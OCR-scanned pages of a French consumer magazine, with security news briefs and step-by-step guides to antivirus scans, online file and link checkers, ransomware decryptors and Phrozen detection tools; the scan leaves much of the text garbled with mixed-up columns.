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THE JOKER, L= MALWARE
QUI RIT A LA FAGE DES
UTILISATEURS ANDROID

L'expert en sécurité
Aleksejs Kuprins a
découvert un nouveau
malware dévastateur :
THE JOKER. Ce virus, qui
sevit sur les smartphones
Android, extorque de
'argent aux utilisateurs
en souscrivant a des
abonnements premiums
a leur insu. Le logiciel
malveillant a été détecté dans
une vingtaine d'applications
disponibles sur le Play
Store, parmi Great VPN ou
Rapid Face Scanner. A 28 000 victimes et 2000 plaintes déposées. Voila
elles seules, ces apps le bilan de ce jeune escroc francais, arrété début
septembre. L’homme est suspecté d’avoir élaboré une
vaste opération de “sextorsion” sur internet. Comme

b
Un FRANGAIS INTERPELLE

comptabilisaient

plus de 500 000 Tesoli ;

My explique Jérome
teléchargements. e
Entre temps, général de la plateforme
Google a fait le Cybermalveillance.gouv.
ménage en retirant fr, “il leur faisait croire
toutes les applis qu'il les avait filmés en
vérolées. Mais train de visionner des
entre nous, THE vidéos pornographiques.
JOKER ne meurt C'était évidemment faux,

; e mais si les victimes
Jamalis n est-ce pES

Batou ?

avaient fréquenté un
site pornographique dans les jours qui précédaient, elles
s'inquiétaient forcément”. A force de chantage, le
délinquant aurait réussi & amasser prés de 20 000
euros. Somme dont il ne pourra pas profiter
tout de suite.



LES ATTAQUES
VIA ANSOMWARES :

les mots de passes faibies,
e principal danger

Les chercheurs en cybersécurité de F-Secure viennent de délivrer un rapport détaillésur

Tactivité cybercriminelle durant le premier semestre 2019. Selon ce document, 'attaque
par force brute est la méthode préférée des pirates, représentant ainsi 31% des agressions
par ransomware. Cette technique consiste a bombarder un serveur ou un point d’acces
avec une infinité de mots de passe jusqu’a tomber sur le bon. Evidemment, des botsse
chargent de créer et proposer toutes les combinaisons possibles. “Tout simplement,'les
attaques par force brute sont le premier choix des hackers parce quelles fonctionnent, nous
constatons qu'il y a une abondance de comptes qui ont beaucoup trop de mots de passe peu
sécurisés et faibles - ce qui rend leur contournement trop facile pour les pirates”, explique
Jardon Niemela, chercheur principal chez F-Secure.

Edward Snowden demande
(encore) l’asile a la France

Lex-ennemi public numéro 1 des USA et lanceur d’alerte a
réitéré sa demande d’asile auprés de I'Etat francais. Sa
premiére tentative avait été refusée par 'administration
Hollande. L'ancien agent de la NSA s'est exprimé au

cours d'une interview pour France Inter, ou il a essayé

de plaider sa cause. “On ne veut pas que la France

devienne comme ces pays que vous naimez pas. Le plus

triste dans toute cette histoire, cest que le seul endroit ot

un lanceur dalerte américain a la possibilité de parler, ce

nest pas en Europe, mais cest ici (en Russie, NDLR). Ce

n'est pas seulement la France qui est en question, cest le monde
occidental, cest le systéme dans lequel on vit. Protéger les lanceurs
dalerte, ca n'a rien d’hostile”, assure-t-il.
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| Unshorten.me — Veririer uve URL RACCOURCIE

Trés pratiques. surles rﬁsmxmciaux. Eemme Twittemvei:;sgl_imltez:ie
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o https:[f B

No More Ransom!
— CONTRE LES RANSOMWARES

Le site a consulter si vous étes victime d'un
rancongiciel, un de ces logiciels malfaisants
qui chiffrent vos données et exigent une rangon
pour vous donner La clé. Ony trouve tout ce
qu'il faut savoir sur ces malwares au niveau

de la prévention, un service de détection

en ligne (pour savoir de quel mal vous avez
hérité) et plusieurs outils de déchiffrement,
accompagnés de guides d'utilisation.

Lien: www.nomoreransom.org

oo ol P48 gt e P

OUTILS DE DECHIFFREMENT

Tous fes rangongiciels fOrdre aipnanengue)
3 777 Ransom

-’ineunrm mieux vaut se méﬁer utﬂmez Lkrshurtenme pour

Kaspersky VirusDesk

—> EN CAS DE DOUTE

Kaspersky, célebre éditeur d'antivirus, prapose

un service Web qui vous permet de vérifier qu'un
fichier ou un lien Internet est sans risque pour
votre PC. Pour les fichiers, le logiciel antivirus
maison est exploité. Pour les sites Internet,
VirusDesk utilise la base de données de réputation
Kaspersky Security Network.

Lien: https://virusdesk.kaspersky.fr

KASPERSKYS

Kaspersky
VirusDesk

I‘.

Analysez un fichier ou une URL  la recherche de menaces conni
et signalez un faux pesitif ou un Neuveau virss

JOINDRE UN FICHIER
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VERIFIEZ FICHIERS ET SITES DOUTEUX
AVEC KASPERSKY VIRUSD
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Le fichier ARTICLES TA28 HSTA26 WINO5.xlsx est sain

I ichior p . stachs ot dismibu sans auesn danger
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e vous scceptesies conbtions

Le lien https://www.youtube.com/watch?v=kXJIxXHk-SLI...

Ce lien est sain confarmément aus données de réputation de Kaspersky VirusDesk

Prenez soin de votre sécurité en ligne

01 ) ANALYSER UN FICHIER
Faites glisser le fichier suspect dans

le champ prévu a cet effet (vous pouvez aussi

cliguer sur le trombone pour parcourir la

machine). Cliquez sur Analyser et attendez

le résultat. Attention, certains blogueurs de

publicités peuvent empécher le fonctionnement

de l'analyse.

02 Y ANALYSER UNLIEN

Collez le lien Web dans le champ et
validez avec Analyser. Kaspersky compare
['adresse avec sa base de données pour définir
si le lien est sans danger ou non. En cas d'erreur,
cliguez sur Désaccord avec le résultat et
suivez la procédure de signalement.

“) CONTROLEZ LES URL RACCOURCIES

@ AVEC UNSHORTEN.ME

unshorten.me

Unshorten any URL

goo.gl/MghJbV

HTTP://GO0.GL/MGHJBV

Destination URL :
hETp: //wiwi. rdtutos. fr
/telecharger_loadtool. php
Source URL :

it oo 1 gAY

Source Domain :

gon.g1

Destination Domain :

—R G Smigpis
01 ) TAPERL'URL 0 2 ) VERIFIER LE LIEN
Tapez ou copiez l'adresse raccourci dans Le site dechiffre 'URL et affiche une

le champ prévu a cet effet, sur la page d'accueil
d'unshorten.me (une copie est préférable, elle
gvite les erreurs ou les confusions). Puis cliquez
sur le bouton Un-Shorten.

miniature de la page correspondante. Vous
pouvez vous rendre directement dessus (bouton
Visit Website), ou consulter d'abord son score
de fiahilité (Internet Safety User Score) s'il ne

vous inspire pas confiance.

S & ANTIMALWARES 0101



PROTECTION 10110101010101010100010117010011

Zl VirusTotal

VirusTotal > PLusieurs ANTIVIRUS EN UN

Vous recevez un fichier suspect, ou un lien vers un site gue
VOUS ne connaissez pas? Sans étre paranoiaque, peut-étre
qu'il s'agit d'un fichier ou d'une URL infecté(e). Pour en
avoir Le cceur net, passez-le au crible avec VirusTotal. Ce
service met a contribution plusieursantivirus différents
pour vérifier que les fichiers que vous lui soumettez ne
sont pas infectés.

Lien: www.virustotal.com

Resultat du scanner

Ports ouverts @
ID Ransomware s
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Inoculer
N ID Ransomwar

@ Envoyez un fichier chiffré ou d'instructions g8
votre ordinateur.

> SCANNER LES PORTS DU PC

Vous pensiez étre totalement protége, mais vous
avez quand méme réussi a attraper un virus sur
votre PC?7 La faille est probablement liée a un port
laissé ouvert. Depuis le site, cliquez sur Scanner
les ports de mon ordinateur maintenant. Les

Envoi de fichiers

B Notice d'instruction du Ransomware
[2)

Le fichier qui affiche les informations de paiements.

[T Pavomtiiree | Aucun fichier sélectionné.

ports laisses ouverts sont notes en rouge, a vous

de les fermer via votre pare-feu. Notez que le role
de ce scanner étant de tester la sécurité de votre
machine, votre pare-feu peut croire

aune attaque. Fausse alerte, vous ne risquez rien.

Lien: www.inoculer.com/scannerdeports.php
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Is cnil.fr safe? Reviews & Ratings

" : Jotti
© safe! - ” > AVIS D'EXPERTS
Un autre scanner de fichiers
en ligne, fonctionnant sur le
=TT Sl etacon
__ - services antivirus. i
Lien : https://virusscan.
WOT — VERIFIER LA FIABILITE D'UN SITE jotti.org/fr
Pour éviter d'attraper des cochonneries, mieux vaut éviter les sites Secuser > VERIFICATION
douteux. Mais comment savoir si tel ou tel site ou service est sain COMPLEMENTAIRE
ou s'il vaut mieux s'en détourner? En demandant 8 WOT. Connectez- Sivous avez besoind'un
vous sur le service, et tapez 'adresse du site a évaluer dans le scan rapide sur une
champ situé en haut a droite. Notez que le service peut étre installé machine qui ne posséde pas
comme extension dans votre navigateur. d'antivirus, ou d'une analyse
Lien: www.mywot.com complémentaire a celle de

votre antivirus.
Lien: www.secuser.com/

F-Secure Online Scanner antivirus
ANTIVIRUS EN LIGNE ESET Online Scanner
Méme si nous vous conseillons d'installer un antivirus sur > ANALYSE PAR DOSSIER
votre PC, cela n'est pas obligatoire pour effectuer une analyse ESET Online Scanner permet
ponctuelle de la machine. L'éditeur d'antivirus F-Secure propose de vérifier si votre ordinateur
un outil en ligne gratuit pour chercher et éliminer d'éventuels est infecté par un virus ou un
programmes malveillants sur votre ordinateur. Pratique, quand malware. | 'avantage est ici de

onaundoute. pouvoir cibler un ou plusieurs

Lien: https://goo.gl/SKPNic dossiers.
Lien : http://goo.gl/o02bVG

HouseCall
> EN 32 ET 64 BITS

L'antivirus en ligne de Trend
Micro. Attention, on vous
demande au préalable
d'indiquer votre version de
Windows : 32 ou 64-hit.

Lien : http://housecall.
trendmicro.com
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DETECTEZ

ET ELIMINEZ
LES VIRUS !

Ralentissements
suspects,
publicités ou
faux messages
d'alerte, crash a
répétition... Votre
PC est peut-étre
infecté par un
virus!

es symptdmes d'une infection
sont aussi variés que la nature
des malwares (« logiciels
malfaisants ») susceptibles
de s'introduire sur votre PC, via votre
connexion Internet, ou une clé USB elle-
méme infectée. Cela va de la simple géne

&

UN ANTIVIRUS
C'EST BIEN, MAIS
POURQUOI NE

PAS PRENDRE

DES MESURES
SUPPLEMENTAIRES ?

a la destruction de données, en passant
par le blocage du PC. La premiére ligne

de défense contre les virus informatiques,
c'est vous. Evitez les sites louches,
n'ouvrez pas les piéces jointes a des mails
d'origine suspecte. La seconde barriére,
c'est la protection en temps réel exercée
par votre antivirus. Une protection
indispensable, mais pas infaillible : un
virus peut a l'occasion se glisser entre

les mailles du filet. Les pages qui suivent
vous expliguent comment analyser votre
systeme en profondeur pour détecter
une attaque et la neutraliser, avec votre
antivirus d'abord, des utilitaires spécialisés
ensuite, voire un CD de secours si
Windows ne démarre méme plus.
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4 OUTILS COMPLEMENTAIRES

Méme si vous avez un antivirus
performant, vous pouvez aussi faire appel
a des antimalwares spécialisés dans
certains types d'attaque...

Malwarebytes

Faceacertainsvirus |nay
particulierement @ -
retors, votre antivirus

généraliste risque Commengons par
d'étre mis en échec. nettoyer votre
Encas dinfection, et ordinateur
régulierement a titre 4

ﬂdwCIean

Actara

preventif, Malware-

bytes est une trés honne solution. Le logiciel dispose
d'une période d'essai mais la version gratuite est tres i
bonne. Sivous avez un doute sur la bonne tenue d'une T (¥ - | ()
désinfection, c'est le programme a utiliser. =

Lien: https://fr.malwarebytes.com

ZHP Cleaner

Vous rencontrez de plus en plus de prohlémes avec

ke bl > votre navigateur : affichage de publicité, pop-up,
Autre grand spécialiste de la chasse aux barre de navigation non désirée ? Il s'agit peut-étre
malwares, RogueKiller complétera utilement de redirections d'URL (votre flux Internet passe par
votre antivirus. A lissue de l'examen (assez un proxy alors que vous n'avez rien demandeg) et
long), RogueKiller affiche la liste des logiciels cela peut ouvrir la porte au phishing, a différents
indésirables et des anomalies qu'il a détectés, spywares ou pire...un botnet. ZHPCleaner va rétablir
avec un code couleur indiguant leur niveau de les paramétres proxy et supprimer les redirections
dangerosité : rouge, orange, ou gris. Cochez celle d'URL sur tous vos navigateurs.

en rouge ou orange et cliguez sur Supprimer , :
Lien: www.nicolascoolman.com

sélection.
Lien: https://goo.gl/wkTyBa

ZHPCLEANER 2017

Nicolas Coolman_

Scanner Nettoyer Rapport () restaur




L'antivirus Windows
Defender, intégré au
systeme, fait normalement
barrage aux virus sans

(Jue vous ayez a intervenir.
En cas de doute, vous
pouvez cependant lancer
manuellement une analyse.

= 101001101011110101010110101010101

VERIFIEZ
voTRE ORDINATEUR

G [ WINDOWS DEFENDER ] Difficulté: @

01 ) OUVRIR WINDOWS
DEFENDER

Pour accéder a l'interface de Windows Defender,
faites un double-clic sur son icéne, a l'extrémité
de la harre des taches (au besain, cliquez sur la
petite fleche verticale pour révéler les icones).

[l est normalement activeé. Sinon, cliguez sur le
bouton Activer.

0 LANCER UNE ANALYSE
Cliguez sur le bloc Protection
contre les virus et menaces. C'est la gu'en
cas de doute, vous pouvez lancer une analyse
de l'ordinateur. Choisissez Analyse avancée,

puis effectuez une Analyse compléte,
éventuellement suivie d'une Analyse hors
ligne en cas de probleme.

Cartre de sécurité Windus Cefender

B

Performances des
imégrité

“3

Pare-fe et protection
o rés:

Contrale des
apglications e

requise.

Analyses avancées

) Exécutez une analyse compléte, personnalisée ou une analyse Windows
Defender hors ligne.

Q

) (® Analyse compléte

Veérifiez tous les fichiers et les programmes en cours d'exécution sur

0 votre disque dur. Cette analyse peut parfois durer plus d'une heure.
O Analyse personnalisée

=] Choisissez les fichiers et les emplacements & vérifier.

[ () Analyse Windows Defender hers ligne
Certains logiciels peuvent étre particuli difficiles 3
supprimer de votre appareil. Windows Defender hors ligne vous aide
4 les détecter et 4 les supprimer a laide de définitions de menaces &
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UNANTIVIRUS ENLIGNE

En plus de 'antivirus
installé sur votre

PC, soumettez

votre ordinateur

aune analyse @
complémentaire, avec

un antivirus en ligne
comme F-Secure.

"' [ [ F-SECURE |
? O le trouver ? [ www.-secure.com | Difficutté: @ © ©

0 ANALYSER 0 NETTOYER

Sur la page d'accueil du service, cliguez F-Secure analyse la mémoire de
sur Online Scanner - Analysez et nettoyez l'ordinateur puis le systeme entier. Patientez
gratuitement votre PC puis Lancer dés jusgu'a la fin de L'opération. Si le service
maintenant. Acceptez le téléchargement du détecte un fichier malveillant, il vous en
fichier propose. C'est un exécutable, il n'y arien informera et tentera automatiguement de le
ainstaller. Lancez-le et cliguez sur Accepter et supprimer.
analyser.

Analyse et nettoyage
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ANALYSEZ
VOTRE SYSTEME

Avast, l'un des meilleurs antivirus
gratuits, permet une analyse trés
poussée de votre systeme, avec un scan
au démarrage effectué avant méme que
Windows ne prenne la main.

ag M@ [AVAST ]

0 LANCER UNE ANALYSE
Ouvrez Avast, cliquez sur Protection
puis Antivirus et Exécuter une analyse
compleéte. Vous pouvez continuer a utiliser
le PC pendant ce temps, sachant que des
ralentissements peuvent éventuellement survenir.
Le scan d'Avant est aussi complet qu'il est long.
Méme pour un ordinateur peu chargé en logiciels et
fichiers, cela peut prendre une heure au minimum.

Antivirus ®

[a

Exécuter le Smart Scan Exécuter une analyse compléte

£ wsTORIOUE DANALYSE

D lelruuver?[www.avast.cum]l]ifﬁcultézg = TUTg

0 REGLER LES PARAMETRES

Sivous voulez choisir précisément les
parametres de ['analyse, des zones a scanner aux
actions a effectuer en cas de menace, en passant
par le niveau de sensibilité, c'est dans Protection
> Antivirus > Autres analyses > Créer une
analyse personnalisée que ca se passe. A
réserver aux connaisseurs.

@
d'autres parametres.

Heuristique

sensibilité heuristique : |||| Normale

| Utiliser Iemulation de code

Sensibilité

Tester les fichlers en enter (peut ére trés lent pour les
fichiers de grande taille)

LPI et fichiers suspects

Rechercher les logiciels potentiellement indésirables (LPIs)
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Planification

Vous peuvez planifier ci-dessous le lancement automatique d'un scan

Planificateur de scan

 Planifier ce scan

Fréquence : | Unique

Ne pas lancer le scan si l'ordinateur est alimenté par sa batterie
Interrompre le scan si l'ordinateur rentre en mode batterie

Eteindre I'ordinateur une fois le scan termingé

0 3 ) PROGRAMMER
L'OPERATION
L'analyse complete de base vous suffit, mais
vous aimeriez la lancer plus tard? Cliquez sur
l'engrenage en haut a droite du bloc Exécuter
une analyse compléte puis sur Planification.
Cochez Planifier ce scan, choisissez sa
fréquence, d'éventuelles options pour finir par
['heure et le jour de lancement. Validez avec OK.

[, Historique d'analyse

Date ~ Résultat

13/02/2017 10:35...
13/02/2017 10:47.

14/02/2017 14:25...
14/02/2017 14:57...

Nom
Aucun virus detects
Aucun virus détecté
Aucun virus détecté
Aucun virus détecte

Analyse du demarage
Virus et logiciels malveillants
Analyse systéme compléte

virus et logiciels malveillants

Rapport

Détails du scan

Temps Ecoulé : 0:29:22

Fichiers testas : 363186

Dossiers testés 1

0 VOIR LES RESULTATS

Dans Protection > Antivirus, cliquez
sur Historigque d’analyse. Une liste des scans
passés s'affiche. Sélectionnez-en un et consultez
les Détails du scan. Si Avast a trouvé quelgue
chose, vous avez acces a un Rapport détaillé,
qui permet d'obtenir un fichier texte. Pratique
pour le communiguer & quelgu'un ou Le poster sur
un forum, par exemple.

0 SCANNER AU DEMARRAGE

Ouvrez Avast et allez dans Protection
> Antivirus > Autres analyses > Analyse au
démarrage. Cliguez sur Install specialized
definitions pour obtenir des définitions
spécifiques et permettre a Avast d'analyser plus
en profondeur le systeme. Validez avec Run on
next PC reboot et redémarrez votre PC pour
lancer le scan.

0 ERADIQUER LES MENACES
Sil'antivirus découvre quelgue chose,

il faudra demander une réparation (Heal ou

Repair) ou une mise en quarantaine (Move to

Chest) plutdt qu'un effacement (Delete) afin

d'éviter de supprimer un fichier important, en cas

de faux positif par exemple (fichier considéré a

tort comme infecté).
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Destinés a racketter les utilisateurs qui en sont victimes, les ransomwares proliférent.
Personne n'est a ['abri, et mieux vaut dés aujourd’hui vous protéger avec un logiciel

spécialisé.

es ransomwares ou rancongiciels et ainsi retrouver vos données. S'il est
sont des malwares introduits par parfois possible d'agir aprés le chiffrage
un ver informatique. Une fois des données via des programmes
installés sur votre PC, ils ciblent spécifiques (voyez I'étape 4 ci-contre),
les types de fichiers correspondant il est important de se protéger. Antivirus
a vos données personnelles (photos, spécialisé, le logiciel RansomFree se
vidéos, documents DOC ou XLS, base sur I'analyse de 40 ransomwares
etc.), et les chiffrent avec une double et leurs variantes connues. Dés que le
clé trés solide. Au bout de quelques schéma typique d'un tel programme
minutes, vos documents deviennent est détecté, RansomFree blogue le
inaccessibles et un message s'affiche processus de chiffrement. Notez qu'il ne
sur votre écran, vous invitant a payer vous empéche pas d'utiliser des logiciels
une somme d‘argent pour récupérer de chiffrement comme VeraCypt ou
la clé privée qui a servi au chiffrement AxCrypt.




%) I3 [ RANSOMFREE ]
O le trouver ? [ https://ransomfree. cybereason.com | Difficulté aee

anso You are now
protected from Ransomware!

Cybereason RansomFree will

01) INSTALLER RANSOMFREE
Une fois installé, RansomFree va

disséminer des fichiers leurres (des sortes d'appats

inoffensifs en somme) aux quatre coins de votre

disque dur. Si un ransomware tente de chiffrer

vos donneées, il ira aussi s'attaquer a ces fichiers

et déclenchera l'alerte. Vous n'avez rien a faire ni

aucun réglage a effectuer.

NOTE: Specially-crafted files were placed in

Ransomware activity
has been detected!

on Thur

0 REAGIR AUX ALERTES

Encas d'alerte, le processus incriminé est
suspendu, stoppant net le chiffrement frauduleux
de vos données. Vous pouvez voir la liste des
fichiers attaqués (View affected files), choisir de
laisser faire (No, Let it run) s'il s'agit d'une fausse
alerte, ou au contraire bloquer définitivement le
processus et faire le ménage (Yes, Stop & clean
the threat)
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0 LAISSER FAIRE LELOGICIEL
Vous pouvez avoir L'impression que
RansomFree n'est pas actif, puisqu'il agit en silence
et qu'il n'apparait pas dans la liste des programmes

en cours du Gestionnaire des taches. Rassurez-
vous : RansomFree démarre systématiguement en
meéme temps que Windows. Notez qu'il fonctionne
aussi si undisque dur réseau est attaqué.

@ DECRYPTION TOOLS

. qude.
ystermor encrypt files. Any reliabl
do ths for you.
- WildFire Decryptor
b et B e il
dih st ol e T rreste by asgershy | &6 Toa made by e Secney |
3 Chimera Decrypiar
 Teslacrypt Decryptor
Tesia DRl £an Gecryi fles enerygned Dy TesisCra 3 and v 1 i
powsions |

TN B R REPR I ook e by by L ot iy e S|

» Shade Decrypror

> CoinVault Decryptor

v Aannoh Deerypror

Ou) AGIR EN CAS D'INFECTION
Le site www.nomoreransom.org
centralise tout ce qu'il faut savoir sur ces
malwares au niveau de la prévention, mais il
dispose aussi d'un service de détection en ligne
(pour savoir de quel mal vous avez hérité) et de
plusieurs outils de déchiffrement. Ce sont plus de
25 ransomwares qui peuvent étre éradiqués avec

ces outils.
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RECUPEREZ

Victime d’'un ransomware,
vous vous retrouvez

avec des fichiers chiffrés
auxquels vous ne pouvez
plus accéder ? Essayez
Ransomware File
Decryptor.

monmooa 100

T3 [ RANSOMWARE FILE DECRYPTOR]

Dirle trouver ?[ https:/fgoo.gl/b7UxEw | Difficulté :;.i., Q e

0 DESIGNER LE COUPABLE

Ne nécessitant pas d'installation,
Ransomware File Decryptor est un logiciel tres
facile a prendre en main. Acceptez le contrat
d'utilisation (Agree) puis sélectionnez le
ransomware dont vous étes la victime. Sivous
ne connaissez pas le nom, cherchez sur Internet
l'extension de fichier qui apparait ou voyez le site
WwWw.nomoreransom.org.

(o) Anti-Ransomware Select the ransomware name
L Trend Micro experts help you decrypt your encrypted files 2 =
O TeslaCrypt (V3.V4) (O BadBlock
O Cryptxxx Q77
@ setect e ransomware name (O SNSLocker O XORIST
L=
O AutoLoc! QO XORBAT
Select R

(O CERBER(V1) O STAMPADO

/) Select the encrypted file or folder to start decrypting it Fs' CNEMUGOD O CHIMERA
~uceuccoc sncan

02 ) DECRYPTER UN FICHIER

Notez gu'on trouve méme WannaCry
dans la liste | Faites ensuite Select & Decrypt
pour sélectionner un fichier chiffré avec ce
ransomware. Au bout de quelgues secondes,
Ransomware File Decryptor va vous rendre votre
fichier d'origine.

Ransomware Name =
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VERIFIEZ FICHIERS
ET SITES SUSPECTS

Le service en ligne
VirusTotal meta
contribution plusieurs
antivirus différents pour
vérifier que les fichiers que
vous lui soumettez ne sont
pas infectés.

G [ VIRUSTOTAL |

Oit le trouver ? [ www.virustotal.com ] Difficulté : g :

01) SELECTIONNER UN FICHIER
OU UNSITE

La plupart des services d'antivirus en ligne

nécessitent le téléchargement d'un module

sur l'ordinateur. VirusTotal ne présente pas cet

inconvénient. Il permet de scanner des fichiers

(faites Importer et analyser le fichier), mais

aussi d'analyser un site Weh en soumettant son

URL (onglet URL).

0 LANCER L'ANAYSE

VirusTotal scanne le fichier, et affiche
les résultats d'analyse obtenus par différents
antivirus. Si tous le considérent comme sain,
il ne devrait pas y avoir de souci. Si certains
détectent une menace, soyez prudent ! Le cas
échéant, faites une recherche sur Internet avec
le nom de l'intrus.

Zl VirusTotal

fich

Fchier




PR!‘I i‘El’ \ 111!]1[]101[]110101[]101[]1[]1010001[]11

pE NOUVELLES
SOLUTIONS rour
pE NOUVEAUX
PROBLEMES

Un antivirus c'est bien, mais il existe des menaces qui peuvent ne pas -
étre détectées par les solutions standards. Dans ces prochaines pages,
nous allons parler des différents freewares de la société Phrozen. o N

RunPE Detector ADS Revealer

~> ConTre LES RAT NOTRETUTO

Skcurisez LEs voLuMes NTFS

ADS Revealer détecte sur les volumes NTFS

la présence de fichiers cachés pouvant étre des
malwares: les fichiers ADS. Ces derniers, bien
gu'invisibles depuis l'explorateur de fichiers
Windows, ont un contenu hien physigue et
peuvent pulluler sans éveiller les soupgons de
l'utilisateur. Il a méme été prouve que malgre les
restrictions de Microsoft, il est toujours possible
d'exécuter du code directement a partir ’
d'un emplacement ADS....

Lien: www.phrozen.io/freeware ' NUT“_ET‘_UOV

Your system looks Infacted!

Finel

Scan Completel
B8 Running Process (33) | &8 Malicious Applications Location (1)

‘v a ‘Alternats Data Stream (ADS) files scanning compists with 64 item(s) found. Pleass check tha ongin of

| Backup Checked $§ Galele Chackad & Refresh List [ PE Control Selected
Full Stream Name FileSrsam . Fila Creaon g Process iden... Process Name User/Domain Parent Pr... Parent Process Name|
= :::m:::f::f: .‘ @Emm adb.exe Phrozen Labor... 10964 Unknown
e @ El0236  dihostexe Phrozen Labor., 884 svchostexe
s :
: (AE115260  Unknown PhrozenLabor.. 154488 Unknown

184364 LeBoiteACouleurs.exe Phrozen Labor... 3376 explorer.exe
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Setup Scan

Search Filer (Wildcard) : | Il

Content Preview Length - 30 ®
Tlinclude Zone identifier ADS Files (Might be huge)

@ cancel @ valia »

Reésutats
Dossers () Fichies b DLL T Reccoucs | [ Tches pianfibes & Pogete (g Firefox [+~
Type  ClE

Key HKLM\SOFTWARE

[7] Key  HKLM\SOFTWARE {35D0ADAE-FBDA-423F-9425-F25FASBOBEFS)

0 LES OPTIONS

Le logiciel ne s'installe pas, il suffit de
décompacter l'archive et de le lancer en tant
gu'administrateur. Faites ensuite Run Scan
puis choisissez la cible : tout le systéme (Full
System), Tout le disque (Target Drive) ou un
dossier particulier (Target Folder). Il est possible
de filtrer la recherche (*.* pour tous les fichiers,
*.exe pour tous les fichiers EXE, etc.) La derniere
case permet de scanner le fichier ADS Zone.
Identifier utilisé par Microsoft. Ce scan est tres
lourd, mais si vous étes sar d'une infection...

0 2 Y LA MARCHE A SUIVRE

Ala fin du scan, ADS Revealer va dresser
une liste de fichiers. Dans notre exemple le
logiciel n'a détecté que des miniatures de fichiers
multimédias. Ne pensez pas pour autant qu'il
s'agit de faux positif! Un ADS peut étre tout aussi
légitime qu'illégitime. Le but est ici de vair tous les
fichiers ADS existants sur son disque et
de chaisir la meilleure action : garder le fichier s'il
parait normal ou le supprimer s'il est louche. Les
colonnes File Creation et Last Modification
devraient vaus étre utile pour faire le tri...

STOPPER L'USURPATION D'UN
PROCESSUS AVEC RUNPE DETECTOR

RUNPE Detact by Phrozen Softwara™

This application il detect (using & gensric method) the presance of any kind of matwars using the
. legitime process memory content by the malware itself

3 9 ool sectea

3 Refresn Lt
Processlden... Process Name User/Domain PacentPr.. Pasent Process Name  Thieads Co  Size .
[ LT SyemeAUT.. T2 senices n Eor
DEUOD ShypeCiChutolpdetsS..  Synteme/AUT_ 132 S e 6 1

@FT1922  SkypeC2CPNRSve.eve SERVICERESE., 732 senvices. e 2 169..
WEIZ  HEMServiceEntryen Systéme/AUT... 732 servicene B B532.
Wl  RconManexe SyReme/AUT.. T2 sendeesins 3 173
DEuUE  Msee Syteme/AUT.. T2 services exe 4 615,
VEIS0  PassThruSiese Srtime/AUT.. 132 services.ene L 1635..
WEIBR  UNsee Systime/AUT... 732 senvices.eve 1 221

01) LA LISTE DES PROCESSUS
Décompactez l'archive et lancez-le

en tant qu'administrateur (clic droit dans l'icone).

Vous verrez alors l'intégralite des processus

qui tournent en tache de fond sur votre machine.

Faites alors Run Scan. Le logiciel va comparer

les empreintes de ces processus avec des

empreintes «connuess.

PEEE

B@ Running Process (33) &) Malicious Applications Location (1}

€5 Refresn List

I3 N

3 PE Control Selected

ParentPr... Parent Process Name *

Phrozen Labor... 10964 Unknown
Phrozen Labor... 834 svchost exe
Phrozen Labor... 154488 Unknown
Phrozen Labor.. 3376 explorerexe
Phrozen Labor... 3376 explorer.exe

@710024  adbexe

@ 141836 dithostexe
G@EN150260  Unknown

@ W 184360 LaBoiteACouleurs.exe
@ @199504 _ bdsexe

0 2 Y USURPATION DETECTEE!

Dans notre exemple, le processus
n°198800 est suspect. Il se nomme explorer.
exe, mais n'a pas L'empreinte attendue. Il s'agit
en fait de DarkComet qui a usurpé l'identité de
L'explorateur Windows ! En cliguant sur Fine!
Vous pourrez le supprimer...




Winja — Le Ninoa pe Winpows

Le nouveau venu Winja (pour Windows
Ninja) est un complément idéal pour votre
antivirus. Basé sur 'API Google Virus Total
et développé conjointement avec la firme
américaine, Winja propose de saumettre
n'importe quel fichier louche a une
cinquantaine d'antivirus en ligne différents.
Un doute sur un fichier avant méme de

le télécharger? Le logiciel va vérifier sa
dangerosité avant gu'il ne soit rapatrié sur

¥

BROWSE FOR FILE

©

QUICK PROCESS SCAN EXTRA TOOLS

votre ardinateur. Si «processus inconnu»

vient apparaitre dans votre gestionnaire des taches, Winja ira se renseigner

dans son immense base de données pour vous rassurer.
Lien: www.phrozen.io/freeware

Who Stalk My Cam — Pour SURVEILLER 5A WEBCAM

DOWNLOAD AND SCAN

" YOR a
| NOTRETU
DANSLES PAGES

SUINANTES

m Who Stalks My Cam

€ WebcemEvents | & options

Webcam Name Status Host Process Parent Host Process

~ Current Session Webcam Events.
@ Chicony USB 2.0 Camera @ who stalks My Cam.exe

@ Chicony USB 2.0 Camera /@ who Staks My Cam.exe

@ Chicony USB 2.0 Camera @ who Stalks My Cam.exe

G Chicony USB 2.0 Camera / Q Skype.exe 1 explorer.exe

Past Session Webcam Events.

Begin Date End Date

05/04/2016 at 14:4...  05/04/2016 at 14:4...
05/04f2016 at 14:4... 05/04/2016 at 14:4...

05/04/2016 at 14:4...  05/04/2016 at 14:4...

05/04/0 18 ~s 140a ARIAIIOAL 2b A1
| 24 Add process(es) to White List

% Delete process(es) from White List
57 Manage White Listed Applications

(%7 Open selected process properties

Duratit

6 Secor

S Secor

& Commnr

Who Stalk My Cam va analyser en temps réel les processus qui ont acces a votre webcam. Vous
serez immédiatement notifié en cas d'acces frauduleux. A vous de choisir la marche & suivre: couper
l'acces au spyware ou couper tout simplement le flux audio/vidéo. WSMC ne désinfectera pas votre
ordinateur, mais vous saurez ol se situe le probleme et quel type de malware estimpligué. IL est aussi
possible de dresser une liste blanche d'applications autorisées a utiliser la wehcam et de programmer
le logiciel a agir suivant telle ou telle situation. Notez que WSMC n'est plus dans le catalogue de la
compagnie, car il doit subir des modifications. Mais si vous &tes curieux, suivez notre lien en gardant

en téete que le logiciel n'est peut-étre pas mis a jour...
Lien : http://who-stalks-my-cam.findmysoft.com
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V7 SURVEILLEZET CONTREZ
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® QUICK PROCESS SCAN % EXTRA TOOLS

01) EXPLORER L'INTERFACE
Procédez a l'installation du soft en

suivant notre lien. Relancez Winja. L'interface

s'affiche avec ses outils. En vert vous ouvrez le

DOWNLOAD AND SCAN

fichier déja présent sur votre PC, en jaune vous
scannez un fichier en ligne, en bleu vous sondez
les processus actifs et le rouge ouvre les outils
complémentaires. Ces derniers doivent étre
lancés en mode administrateur.

NITIATION TIME - TARGET FILE NAME staTus FILESIZE FILELOCATION

Jy e antidaa2exe & Task Queued... QIS HE €APragram Files (28

updaterstartuputility.exe

A% B R

0 SCANNER LES PROCESSUS

Dans Quick Process Scan,
sélectionnez les programmes qui tournent en
arriere-plan. Vous pourriez avoir des surprises :
des noms méconnus sont parfois parfaitement
légitimes tandis que d'autres aux noms «passe-
partout» sont des malwares. Winja est tres rapide,
caril se base sur les précédentes recherches des
